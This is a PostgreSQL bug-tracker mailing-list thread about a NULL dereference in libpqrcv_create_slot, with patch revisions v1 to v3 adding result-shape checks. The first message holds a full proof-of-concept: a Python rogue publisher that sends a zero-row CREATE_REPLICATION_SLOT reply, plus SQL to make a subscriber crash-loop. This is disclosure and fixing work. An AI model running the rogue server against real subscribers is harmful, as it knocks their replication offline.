agora inbox for pgsql-bugs@postgresql.org  
help / color / mirror / Atom feed
BUG #19547: `libpqrcv_create_slot` dereferences NULL on a malformed `CREATE_REPLICATION_SLOT` reply (just a sugg
10+ messages / 4 participants
[nested] [flat]

* BUG #19547: `libpqrcv_create_slot` dereferences NULL on a malformed `CREATE_REPLICATION_SLOT` reply (just a sugg
@ 2026-07-08 12:15 PG Bug reporting form <noreply@postgresql.org>
  0 siblings, 0 replies; 10+ messages in thread

From: PG Bug reporting form @ 2026-07-08 12:15 UTC (permalink / raw)
  To: pgsql-bugs@lists.postgresql.org; +Cc: 1217816127@qq.com

The following bug has been logged on the website:

Bug reference:      19547
Logged by:          Yuelin Wang
Email address:      1217816127@qq.com
PostgreSQL version: 19beta1
Operating system:   Linux (Ubuntu 24.04, x86_64)
Description:        

### Summary

`libpqrcv_create_slot()` checks only the result *status* (`PGRES_TUPLES_OK`)
and then reads `PQgetvalue(res, 0, 1)` without validating `PQntuples()` or
`PQnfields()`. A server that replies `TUPLES_OK` with zero rows therefore
passes `NULL` into `pg_lsn_in`, which runs `strspn(NULL, ...)` and takes a
SIGSEGV that crashes the logical-replication tablesync worker. That worker
is reachable via `CREATE SUBSCRIPTION ... copy_data=true`
(`tablesync.c:1423`, where `lsn` is non-NULL). Every sibling result-consumer
in the file validates result shape first, so this lone exception is worth
making consistent. It is a hardening fix rather than a security fix. A
subscriber crashing because the server it *chose to trust* sent garbage does
not cross a PostgreSQL trust boundary, and the impact is a NULL-page DoS on
one worker with no corruption, disclosure, or code execution.

### Proof of Concept

The PoC has three parts. `vuln_001_proto.py` is a rogue "publisher" that
hand-speaks the libpq v3 wire protocol. It completes the replication
handshake and answers every command just enough to walk the subscriber's
apply and tablesync workers forward, but it answers
`CREATE_REPLICATION_SLOT` with a `RowDescription` of four columns followed
immediately by `CommandComplete` and **no** `DataRow`, i.e. a
`PGRES_TUPLES_OK` result with zero rows. `vuln_001.sql` creates a local
table and a subscription pointed at that rogue publisher with
`copy_data=true`, which forces the tablesync-worker path. `vuln_001_run.sh`
starts the publisher, issues the SQL, waits for the tablesync worker to
reach `CREATE_REPLICATION_SLOT`, then cleans up.

**`vuln_001_proto.py`** (rogue publisher / fake walsender):

```python
#!/usr/bin/env python3
import socket
import struct
import sys
import threading
import time

PORT = 39901
HOST = "127.0.0.1"

SSL_CODE = 80877103
GSS_CODE = 80877104
PROTO_V3 = 196608

TEXTOID = 25
INT4OID = 23


def log(msg):
    sys.stderr.write("[proto] %s\n" % msg)
    sys.stderr.flush()


def be_msg(tag, payload):
    return tag + struct.pack("!I", len(payload) + 4) + payload


def field_desc(name, typoid, typlen, typmod=-1):
    return (
        name.encode() + b"\x00"
        + struct.pack("!i", 0)
        + struct.pack("!h", 0)
        + struct.pack("!i", typoid)
        + struct.pack("!h", typlen)
        + struct.pack("!i", typmod)
        + struct.pack("!h", 0)
    )


def row_description(fields):
    payload = struct.pack("!H", len(fields))
    for (name, typoid, typlen) in fields:
        payload += field_desc(name, typoid, typlen)
    return be_msg(b"T", payload)


def data_row(values):
    payload = struct.pack("!H", len(values))
    for v in values:
        if v is None:
            payload += struct.pack("!i", -1)
        else:
            b = v.encode() if isinstance(v, str) else v
            payload += struct.pack("!i", len(b)) + b
    return be_msg(b"D", payload)


def command_complete(tag):
    return be_msg(b"C", tag.encode() + b"\x00")


def ready_for_query():
    return be_msg(b"Z", b"I")


def error_response(message):
    payload = b"S" + b"ERROR\x00" + b"C" + b"XX000\x00" + b"M" +
message.encode() + b"\x00" + b"\x00"
    return be_msg(b"E", payload)


def copy_both_response():
    return be_msg(b"W", struct.pack("!B", 0) + struct.pack("!H", 0))


def recv_exact(sock, n):
    buf = b""
    while len(buf) < n:
        chunk = sock.recv(n - len(buf))
        if not chunk:
            return None
        buf += chunk
    return buf


def read_startup(sock):
    while True:
        hdr = recv_exact(sock, 4)
        if hdr is None:
            return None
        length = struct.unpack("!I", hdr)[0]
        log("startup hdr=%s length=%d" % (hdr.hex(), length))
        if length < 8 or length > 100000:
            log("bad startup length %d" % length)
            return None
        body = recv_exact(sock, length - 4)
        if body is None:
            return None
        code = struct.unpack("!I", body[:4])[0]
        log("startup code=%d (0x%08x) body_head=%s" % (code, code,
body[:32].hex()))
        if code in (SSL_CODE, GSS_CODE):
            sock.sendall(b"N")
            continue
        if (code >> 16) == 3:
            params = body[4:]
            return params
        log("unexpected startup code %d" % code)
        return None


def parse_params(params):
    parts = params.split(b"\x00")
    out = {}
    i = 0
    while i + 1 < len(parts):
        k = parts[i]
        v = parts[i + 1]
        if k == b"":
            break
        out[k.decode(errors="replace")] = v.decode(errors="replace")
        i += 2
    return out


def negotiate_protocol_version(params):
    kv = parse_params(params)
    unrecognized = [k for k in kv if k.startswith("_pq_.")]
    payload = struct.pack("!i", PROTO_V3)
    payload += struct.pack("!i", len(unrecognized))
    for name in unrecognized:
        payload += name.encode() + b"\x00"
    return be_msg(b"v", payload)


def send_startup_ok(sock, params):
    sock.sendall(negotiate_protocol_version(params))
    sock.sendall(be_msg(b"R", struct.pack("!I", 0)))
    for name, val in [
        ("server_version", "18.0"),
        ("server_encoding", "UTF8"),
        ("client_encoding", "UTF8"),
        ("standard_conforming_strings", "on"),
        ("integer_datetimes", "on"),
        ("DateStyle", "ISO, MDY"),
    ]:
        sock.sendall(be_msg(b"S", name.encode() + b"\x00" + val.encode() +
b"\x00"))
    sock.sendall(be_msg(b"K", struct.pack("!II", 4242, 4242)))
    sock.sendall(ready_for_query())


def handle_query(sock, q, cid):
    qu = q.upper()
    log("conn#%d QUERY: %s" % (cid, q.strip()[:200]))

    if "IDENTIFY_SYSTEM" in qu:
        fields = [
            ("systemid", TEXTOID, -1),
            ("timeline", INT4OID, 4),
            ("xlogpos", TEXTOID, -1),
            ("dbname", TEXTOID, -1),
        ]
        sock.sendall(row_description(fields))
        sock.sendall(data_row(["7000000000000000000", "1", "0/1500000",
"postgres"]))
        sock.sendall(command_complete("IDENTIFY_SYSTEM"))
        sock.sendall(ready_for_query())
        return True

    if "CREATE_REPLICATION_SLOT" in qu:
        fields = [
            ("slot_name", TEXTOID, -1),
            ("consistent_point", TEXTOID, -1),
            ("snapshot_name", TEXTOID, -1),
            ("output_plugin", TEXTOID, -1),
        ]
        sock.sendall(row_description(fields))
        sock.sendall(command_complete("CREATE_REPLICATION_SLOT"))
        sock.sendall(ready_for_query())
        log("conn#%d -> sent 0-row CREATE_REPLICATION_SLOT reply (trigger)"
% cid)
        return True

    if "START_REPLICATION" in qu:
        sock.sendall(copy_both_response())
        log("conn#%d -> START_REPLICATION: entered CopyBoth" % cid)
        return "copyboth"

    if "PG_GET_PUBLICATION_TABLES" in qu or "NSPNAME" in qu:
        fields = [
            ("nspname", TEXTOID, -1),
            ("relname", TEXTOID, -1),
            ("relkind", 18, 1),
            ("attrs", 22, -1),
        ]
        sock.sendall(row_description(fields))
        sock.sendall(data_row(["public", "vuln_001_t", "r", None]))
        sock.sendall(command_complete("SELECT 1"))
        sock.sendall(ready_for_query())
        return True

    if "PG_PUBLICATION" in qu and "PUBNAME" in qu:
        sock.sendall(row_description([("pubname", TEXTOID, -1)]))
        sock.sendall(data_row(["vuln_001_pub"]))
        sock.sendall(command_complete("SELECT 1"))
        sock.sendall(ready_for_query())
        return True

    if qu.lstrip().startswith("BEGIN") or "ISOLATION LEVEL" in qu:
        sock.sendall(command_complete("BEGIN"))
        sock.sendall(ready_for_query())
        return True

    if "SELECT" in qu:
        sock.sendall(row_description([("col", TEXTOID, -1)]))
        sock.sendall(data_row([""]))
        sock.sendall(command_complete("SELECT 1"))
        sock.sendall(ready_for_query())
        return True

    sock.sendall(command_complete("OK"))
    sock.sendall(ready_for_query())
    return True


CONN_ID = 0
CONN_LOCK = threading.Lock()


def handle_conn(sock, addr):
    global CONN_ID
    with CONN_LOCK:
        CONN_ID += 1
        cid = CONN_ID
    log("conn#%d accepted from %s" % (cid, addr))
    try:
        sock.settimeout(30)
        params = read_startup(sock)
        if params is None:
            log("conn#%d startup failed" % cid)
            return
        send_startup_ok(sock, params)
        in_copy = False
        while True:
            hdr = recv_exact(sock, 5)
            if hdr is None:
                break
            tag = hdr[:1]
            length = struct.unpack("!I", hdr[1:5])[0]
            payload = recv_exact(sock, length - 4) if length > 4 else b""
            if payload is None:
                break
            if tag == b"Q":
                qstr = payload.split(b"\x00", 1)[0].decode(errors="replace")
                r = handle_query(sock, qstr, cid)
                if r == "copyboth":
                    in_copy = True
            elif tag == b"X":
                log("conn#%d Terminate" % cid)
                break
            elif tag in (b"d", b"c", b"f"):
                pass
            else:
                pass
    except Exception as e:
        log("conn#%d error: %r" % (cid, e))
    finally:
        try:
            sock.close()
        except Exception:
            pass
        log("conn#%d closed" % cid)


def main():
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((HOST, PORT))
    srv.listen(16)
    log("listening on %s:%d" % (HOST, PORT))
    try:
        while True:
            sock, addr = srv.accept()
            t = threading.Thread(target=handle_conn, args=(sock, addr),
daemon=True)
            t.start()
    except KeyboardInterrupt:
        pass
    finally:
        srv.close()


if __name__ == "__main__":
    main()
```

**`vuln_001.sql`** (subscriber side):

```sql
ALTER SUBSCRIPTION vuln_001_sub DISABLE;
ALTER SUBSCRIPTION vuln_001_sub SET (slot_name = NONE);
DROP SUBSCRIPTION IF EXISTS vuln_001_sub;
DROP TABLE IF EXISTS vuln_001_t;

CREATE TABLE vuln_001_t (id int);

CREATE SUBSCRIPTION vuln_001_sub
    CONNECTION 'host=127.0.0.1 port=39901 dbname=postgres user=x
sslmode=disable connect_timeout=5'
    PUBLICATION vuln_001_pub
    WITH (copy_data = true, connect = true, create_slot = true, enabled =
true);

SELECT 'CREATE SUBSCRIPTION issued' AS status;
```

**How to run**: start the rogue publisher, then issue the SQL against the
live subscriber. The crash lands in the background tablesync worker a few
seconds later, so the `psql` call itself returns normally.

```bash
python3 vuln_001_proto.py &
psql -h /tmp -p 36901 -U ylwang -d postgres -f vuln_001.sql
```

### Result

ASan caught a SEGV (NULL read, `rdi = 0x0`) with exactly the predicted
stack. The server log shows the libpq notice `row number 0 is out of range
0..-1`, and the worker crash-looped 8 times until the subscription was
dropped:

```
AddressSanitizer: SEGV on unknown address 0x000000000000
  #0 strspn (libc)
  #1 pg_lsn_in_safe        pg_lsn.c:41
  #2 pg_lsn_in             pg_lsn.c:69
  #3 DirectFunctionCall1Coll
  #4 libpqrcv_create_slot  libpqwalreceiver.c:1004
  #5 LogicalRepSyncTableStart  tablesync.c:1423
```

### Fix

Add the same result-shape validation the sibling functions perform, before
touching the fields:

```diff
     if (PQresultStatus(res) != PGRES_TUPLES_OK)
         ereport(ERROR,
                 (errcode(ERRCODE_PROTOCOL_VIOLATION),
                  errmsg("could not create replication slot \"%s\": %s",
                         slotname,
pchomp(PQerrorMessage(conn->streamConn)))));
+
+    if (PQntuples(res) != 1 || PQnfields(res) < 4)
+        ereport(ERROR,
+                (errcode(ERRCODE_PROTOCOL_VIOLATION),
+                 errmsg("invalid response from primary server"),
+                 errdetail("Could not create replication slot \"%s\": got
%d rows and %d fields, expected %d rows and %d or more fields.",
+                           slotname, PQntuples(res), PQnfields(res), 1,
4)));
```

One check, no header or ABI change, no behavioral change against a
well-behaved primary (which always returns 1 row × 4 columns).








^ permalink  raw  reply  [nested|flat] 10+ messages in thread

* Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply
@ 2026-07-14 16:46 Kenny Chen <kennychen851228@gmail.com>
  2026-07-15 04:33 ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
  0 siblings, 1 reply; 10+ messages in thread

From: Kenny Chen @ 2026-07-14 16:46 UTC (permalink / raw)
  To: pgsql-bugs@lists.postgresql.org; +Cc: 1217816127@qq.com

Hi,

Thanks for the detailed report and analysis.  Here is a patch.

libpqrcv_create_slot() only checked PGRES_TUPLES_OK before reading the
consistent-point LSN and snapshot name from the first row, so a reply with
zero rows made PQgetvalue(res, 0, 1) return NULL, which pg_lsn_in() then
dereferenced -> crash in the tablesync worker.

The patch validates the result shape (>= 3 fields, exactly 1 row) before
reading those fields and raises a protocol-violation error otherwise,
mirroring what libpqrcv_identify_system() and the other result-consuming
paths in this file already do.  I used "< 3" rather than "< 4" because the
function only reads fields 1 and 2.

Builds cleanly and "meson test --suite subscription" passes.  I could not
find a good way to add a regression test, since it needs a rogue server
that returns a malformed reply; suggestions welcome.

Regards,
Kenny

Attachments:

  [application/octet-stream] v1-0001-Avoid-crash-on-malformed-CREATE_REPLICATION_SLOT-.patch (2.4K, ../../CAPXstDtW2iqe+DJAOTQTX+rRziJp2UhZSo1+HRj1COAtbu+nKw@mail.gmail.com/2-v1-0001-Avoid-crash-on-malformed-CREATE_REPLICATION_SLOT-.patch)
  download | inline diff:
From d139e479cd3b67127d49842b9e6ff51ade0d9265 Mon Sep 17 00:00:00 2001
From: kenny <kennychen851228@gmail.com>
Date: Wed, 15 Jul 2026 00:12:16 +0800
Subject: [PATCH v1] Avoid crash on malformed CREATE_REPLICATION_SLOT reply

libpqrcv_create_slot() checked only that the server's reply had status
PGRES_TUPLES_OK before reading the consistent-point LSN (field 1) and the
snapshot name (field 2) from the first returned row.  A server that
replies with a well-formed but empty result set (zero rows) therefore
made PQgetvalue(res, 0, 1) return NULL, which is passed to pg_lsn_in()
and dereferenced by strspn(), crashing the logical-replication tablesync
worker with a segmentation fault.

Validate the result shape before reading those fields, raising a
protocol-violation error instead, matching what libpqrcv_identify_system()
and the other result-consuming paths in this file already do.

Reported-by: Yuelin Wang
Discussion: https://postgr.es/m/19547-f7986f668f71e788@postgresql.org
---
 .../replication/libpqwalreceiver/libpqwalreceiver.c | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/src/backend/replication/libpqwalreceiver/libpqwalreceiver.c b/src/backend/replication/libpqwalreceiver/libpqwalreceiver.c
index 5376519fea5..d1b3309e5bc 100644
--- a/src/backend/replication/libpqwalreceiver/libpqwalreceiver.c
+++ b/src/backend/replication/libpqwalreceiver/libpqwalreceiver.c
@@ -1000,6 +1000,19 @@ libpqrcv_create_slot(WalReceiverConn *conn, const char *slotname,
 				 errmsg("could not create replication slot \"%s\": %s",
 						slotname, pchomp(PQerrorMessage(conn->streamConn)))));
 
+	/*
+	 * CREATE_REPLICATION_SLOT returns a single row with the slot name, the
+	 * consistent point and the snapshot name; the latter two are read below.
+	 * Verify the result shape so that a malformed reply lacking the expected
+	 * row cannot lead to a NULL-pointer dereference.
+	 */
+	if (PQnfields(res) < 3 || PQntuples(res) != 1)
+		ereport(ERROR,
+				(errcode(ERRCODE_PROTOCOL_VIOLATION),
+				 errmsg("invalid response from primary server"),
+				 errdetail("Could not create replication slot \"%s\": got %d rows and %d fields, expected %d rows and %d or more fields.",
+						   slotname, PQntuples(res), PQnfields(res), 1, 3)));
+
 	if (lsn)
 		*lsn = DatumGetLSN(DirectFunctionCall1Coll(pg_lsn_in, InvalidOid,
 												   CStringGetDatum(PQgetvalue(res, 0, 1))));
-- 
2.50.1 (Apple Git-155)



^ permalink  raw  reply  [nested|flat] 10+ messages in thread

* RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply
  2026-07-14 16:46 Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
@ 2026-07-15 04:33 ` Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
  2026-07-15 11:51   ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  0 siblings, 1 reply; 10+ messages in thread

From: Hayato Kuroda (Fujitsu) @ 2026-07-15 04:33 UTC (permalink / raw)
  To: Kenny Chen <kennychen851228@gmail.com>; +Cc: 1217816127@qq.com <1217816127@qq.com>; pgsql-bugs@lists.postgresql.org <pgsql-bugs@lists.postgresql.org>

Hi Kenny,

> The patch validates the result shape (>= 3 fields, exactly 1 row) before
> reading those fields and raises a protocol-violation error otherwise,
> mirroring what libpqrcv_identify_system() and the other result-consuming
> paths in this file already do.  I used "< 3" rather than "< 4" because the
> function only reads fields 1 and 2.

Hmm, but IDENTIFY_SYSTEM requires that number returned attributes should be 3 or
4, nevertheless first and second columns are checked. If we follow, isn't it
better to require that there are 4 attributes? I checked old versions and the
command has returned 4 attributes from the beginning [1].

[1]: https://github.com/postgres/postgres/blob/b1b8b8e6f141e378db21c609d8ee74d9125a4aca/src/backend/repli...

Best regards,
Hayato Kuroda
FUJITSU LIMITED



^ permalink  raw  reply  [nested|flat] 10+ messages in thread

* Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply
  2026-07-14 16:46 Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  2026-07-15 04:33 ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
@ 2026-07-15 11:51   ` Kenny Chen <kennychen851228@gmail.com>
  2026-07-15 14:10     ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Fujii Masao <masao.fujii@gmail.com>
  0 siblings, 1 reply; 10+ messages in thread

From: Kenny Chen @ 2026-07-15 11:51 UTC (permalink / raw)
  To: Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>; +Cc: 1217816127@qq.com <1217816127@qq.com>; pgsql-bugs@lists.postgresql.org <pgsql-bugs@lists.postgresql.org>

Hi Hayato,

Thanks for looking at this.

> Hmm, but IDENTIFY_SYSTEM requires that number returned attributes should be 3 or
> 4, nevertheless first and second columns are checked. If we follow, isn't it
> better to require that there are 4 attributes? I checked old versions and the
> command has returned 4 attributes from the beginning [1].

Agreed.  IDENTIFY_SYSTEM tolerates 3 columns only because older servers (9.3
and earlier) actually returned 3, whereas CREATE_REPLICATION_SLOT has always
returned 4, so there is no reason to be lenient here.  v2 attached requires 4
fields, and updates the comment and errdetail accordingly.

Best regards,
Kenny Chen

Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com> 於 2026年7月15日週三 下午12:33寫道:
>
> Hi Kenny,
>
> > The patch validates the result shape (>= 3 fields, exactly 1 row) before
> > reading those fields and raises a protocol-violation error otherwise,
> > mirroring what libpqrcv_identify_system() and the other result-consuming
> > paths in this file already do.  I used "< 3" rather than "< 4" because the
> > function only reads fields 1 and 2.
>
> Hmm, but IDENTIFY_SYSTEM requires that number returned attributes should be 3 or
> 4, nevertheless first and second columns are checked. If we follow, isn't it
> better to require that there are 4 attributes? I checked old versions and the
> command has returned 4 attributes from the beginning [1].
>
> [1]: https://github.com/postgres/postgres/blob/b1b8b8e6f141e378db21c609d8ee74d9125a4aca/src/backend/repli...
>
> Best regards,
> Hayato Kuroda
> FUJITSU LIMITED
>

Attachments:

  [application/octet-stream] v2-0001-Avoid-crash-on-malformed-CREATE_REPLICATION_SLOT-.patch (2.4K, ../../CAPXstDtDEB_0N8-BeVcSnVJQiZ4Hiqmhz4srTZ6SpORd4AR5dg@mail.gmail.com/2-v2-0001-Avoid-crash-on-malformed-CREATE_REPLICATION_SLOT-.patch)
  download | inline diff:
From 4bd439074e55cb306cb359ecb13c04c301c0c2f2 Mon Sep 17 00:00:00 2001
From: kenny <kennychen851228@gmail.com>
Date: Wed, 15 Jul 2026 00:12:16 +0800
Subject: [PATCH v2] Avoid crash on malformed CREATE_REPLICATION_SLOT reply

libpqrcv_create_slot() checked only that the server's reply had status
PGRES_TUPLES_OK before reading the consistent-point LSN (field 1) and the
snapshot name (field 2) from the first returned row.  A server that
replies with a well-formed but empty result set (zero rows) therefore
made PQgetvalue(res, 0, 1) return NULL, which is passed to pg_lsn_in()
and dereferenced by strspn(), crashing the logical-replication tablesync
worker with a segmentation fault.

Validate the result shape before reading those fields, raising a
protocol-violation error instead, matching what libpqrcv_identify_system()
and the other result-consuming paths in this file already do.

Reported-by: Yuelin Wang
Discussion: https://postgr.es/m/19547-f7986f668f71e788@postgresql.org
---
 .../replication/libpqwalreceiver/libpqwalreceiver.c | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/src/backend/replication/libpqwalreceiver/libpqwalreceiver.c b/src/backend/replication/libpqwalreceiver/libpqwalreceiver.c
index 5376519fea5..53fb6967d54 100644
--- a/src/backend/replication/libpqwalreceiver/libpqwalreceiver.c
+++ b/src/backend/replication/libpqwalreceiver/libpqwalreceiver.c
@@ -1000,6 +1000,19 @@ libpqrcv_create_slot(WalReceiverConn *conn, const char *slotname,
 				 errmsg("could not create replication slot \"%s\": %s",
 						slotname, pchomp(PQerrorMessage(conn->streamConn)))));
 
+	/*
+	 * CREATE_REPLICATION_SLOT has always returned a single row with four
+	 * columns; the consistent point (field 1) and snapshot name (field 2) are
+	 * read below.  Verify the result shape first so that a malformed reply
+	 * lacking the expected row cannot lead to a NULL-pointer dereference.
+	 */
+	if (PQnfields(res) < 4 || PQntuples(res) != 1)
+		ereport(ERROR,
+				(errcode(ERRCODE_PROTOCOL_VIOLATION),
+				 errmsg("invalid response from primary server"),
+				 errdetail("Could not create replication slot \"%s\": got %d rows and %d fields, expected %d rows and %d or more fields.",
+						   slotname, PQntuples(res), PQnfields(res), 1, 4)));
+
 	if (lsn)
 		*lsn = DatumGetLSN(DirectFunctionCall1Coll(pg_lsn_in, InvalidOid,
 												   CStringGetDatum(PQgetvalue(res, 0, 1))));
-- 
2.50.1 (Apple Git-155)



^ permalink  raw  reply  [nested|flat] 10+ messages in thread

* Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply
  2026-07-14 16:46 Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  2026-07-15 04:33 ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
  2026-07-15 11:51   ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
@ 2026-07-15 14:10     ` Fujii Masao <masao.fujii@gmail.com>
  2026-07-15 14:24       ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  0 siblings, 1 reply; 10+ messages in thread

From: Fujii Masao @ 2026-07-15 14:10 UTC (permalink / raw)
  To: Kenny Chen <kennychen851228@gmail.com>; +Cc: Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>; 1217816127@qq.com <1217816127@qq.com>; pgsql-bugs@lists.postgresql.org <pgsql-bugs@lists.postgresql.org>

On Wed, Jul 15, 2026 at 8:51 PM Kenny Chen <kennychen851228@gmail.com> wrote:
> Agreed.  IDENTIFY_SYSTEM tolerates 3 columns only because older servers (9.3
> and earlier) actually returned 3, whereas CREATE_REPLICATION_SLOT has always
> returned 4, so there is no reason to be lenient here.  v2 attached requires 4
> fields, and updates the comment and errdetail accordingly.

Agreed. So,

+       if (PQnfields(res) < 4 || PQntuples(res) != 1)
+               ereport(ERROR,
+                               (errcode(ERRCODE_PROTOCOL_VIOLATION),
+                                errmsg("invalid response from primary server"),
+                                errdetail("Could not create
replication slot \"%s\": got %d rows and %d fields, expected %d rows
and %d or more fields.",
+                                                  slotname,
PQntuples(res), PQnfields(res), 1, 4)));

"PQnfields(res) < 4" should be "PQnfields(res) != 4"?
If so, "or more" in the detail message should be removed as well.

Regards,

-- 
Fujii Masao





^ permalink  raw  reply  [nested|flat] 10+ messages in thread

* Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply
  2026-07-14 16:46 Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  2026-07-15 04:33 ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
  2026-07-15 11:51   ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  2026-07-15 14:10     ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Fujii Masao <masao.fujii@gmail.com>
@ 2026-07-15 14:24       ` Kenny Chen <kennychen851228@gmail.com>
  2026-07-16 00:36         ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
  0 siblings, 1 reply; 10+ messages in thread

From: Kenny Chen @ 2026-07-15 14:24 UTC (permalink / raw)
  To: Fujii Masao <masao.fujii@gmail.com>; +Cc: Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>; 1217816127@qq.com <1217816127@qq.com>; pgsql-bugs@lists.postgresql.org <pgsql-bugs@lists.postgresql.org>

Hi Fujii,

> "PQnfields(res) < 4" should be "PQnfields(res) != 4"?
> If so, "or more" in the detail message should be removed as well.

Right, CREATE_REPLICATION_SLOT always returns exactly 4 columns, so != 4 is
more accurate.  v3 attached uses != 4 and drops "or more" from the errdetail.

Regards,
Kenny

Fujii Masao <masao.fujii@gmail.com> 於 2026年7月15日週三 下午10:10寫道:
>
> On Wed, Jul 15, 2026 at 8:51 PM Kenny Chen <kennychen851228@gmail.com> wrote:
> > Agreed.  IDENTIFY_SYSTEM tolerates 3 columns only because older servers (9.3
> > and earlier) actually returned 3, whereas CREATE_REPLICATION_SLOT has always
> > returned 4, so there is no reason to be lenient here.  v2 attached requires 4
> > fields, and updates the comment and errdetail accordingly.
>
> Agreed. So,
>
> +       if (PQnfields(res) < 4 || PQntuples(res) != 1)
> +               ereport(ERROR,
> +                               (errcode(ERRCODE_PROTOCOL_VIOLATION),
> +                                errmsg("invalid response from primary server"),
> +                                errdetail("Could not create
> replication slot \"%s\": got %d rows and %d fields, expected %d rows
> and %d or more fields.",
> +                                                  slotname,
> PQntuples(res), PQnfields(res), 1, 4)));
>
> "PQnfields(res) < 4" should be "PQnfields(res) != 4"?
> If so, "or more" in the detail message should be removed as well.
>
> Regards,
>
> --
> Fujii Masao

Attachments:

  [application/octet-stream] v3-0001-Avoid-crash-on-malformed-CREATE_REPLICATION_SLOT-.patch (2.4K, ../../CAPXstDuCbQQnk20=t9Wjs4bt4QQ5UhpXcHk1u23mHJhXTOVJcw@mail.gmail.com/2-v3-0001-Avoid-crash-on-malformed-CREATE_REPLICATION_SLOT-.patch)
  download | inline diff:
From 13fba5e68227dcdfbcf4b0124f60870b36f521d7 Mon Sep 17 00:00:00 2001
From: kenny <kennychen851228@gmail.com>
Date: Wed, 15 Jul 2026 00:12:16 +0800
Subject: [PATCH v3] Avoid crash on malformed CREATE_REPLICATION_SLOT reply

libpqrcv_create_slot() checked only that the server's reply had status
PGRES_TUPLES_OK before reading the consistent-point LSN (field 1) and the
snapshot name (field 2) from the first returned row.  A server that
replies with a well-formed but empty result set (zero rows) therefore
made PQgetvalue(res, 0, 1) return NULL, which is passed to pg_lsn_in()
and dereferenced by strspn(), crashing the logical-replication tablesync
worker with a segmentation fault.

Validate the result shape before reading those fields, raising a
protocol-violation error instead, matching what libpqrcv_identify_system()
and the other result-consuming paths in this file already do.

Reported-by: Yuelin Wang
Discussion: https://postgr.es/m/19547-f7986f668f71e788@postgresql.org
---
 .../replication/libpqwalreceiver/libpqwalreceiver.c | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/src/backend/replication/libpqwalreceiver/libpqwalreceiver.c b/src/backend/replication/libpqwalreceiver/libpqwalreceiver.c
index 5376519fea5..46616cb8fe5 100644
--- a/src/backend/replication/libpqwalreceiver/libpqwalreceiver.c
+++ b/src/backend/replication/libpqwalreceiver/libpqwalreceiver.c
@@ -1000,6 +1000,19 @@ libpqrcv_create_slot(WalReceiverConn *conn, const char *slotname,
 				 errmsg("could not create replication slot \"%s\": %s",
 						slotname, pchomp(PQerrorMessage(conn->streamConn)))));
 
+	/*
+	 * CREATE_REPLICATION_SLOT has always returned a single row with four
+	 * columns; the consistent point (field 1) and snapshot name (field 2) are
+	 * read below.  Verify the result shape first so that a malformed reply
+	 * lacking the expected row cannot lead to a NULL-pointer dereference.
+	 */
+	if (PQnfields(res) != 4 || PQntuples(res) != 1)
+		ereport(ERROR,
+				(errcode(ERRCODE_PROTOCOL_VIOLATION),
+				 errmsg("invalid response from primary server"),
+				 errdetail("Could not create replication slot \"%s\": got %d rows and %d fields, expected %d rows and %d fields.",
+						   slotname, PQntuples(res), PQnfields(res), 1, 4)));
+
 	if (lsn)
 		*lsn = DatumGetLSN(DirectFunctionCall1Coll(pg_lsn_in, InvalidOid,
 												   CStringGetDatum(PQgetvalue(res, 0, 1))));
-- 
2.50.1 (Apple Git-155)



^ permalink  raw  reply  [nested|flat] 10+ messages in thread

* RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply
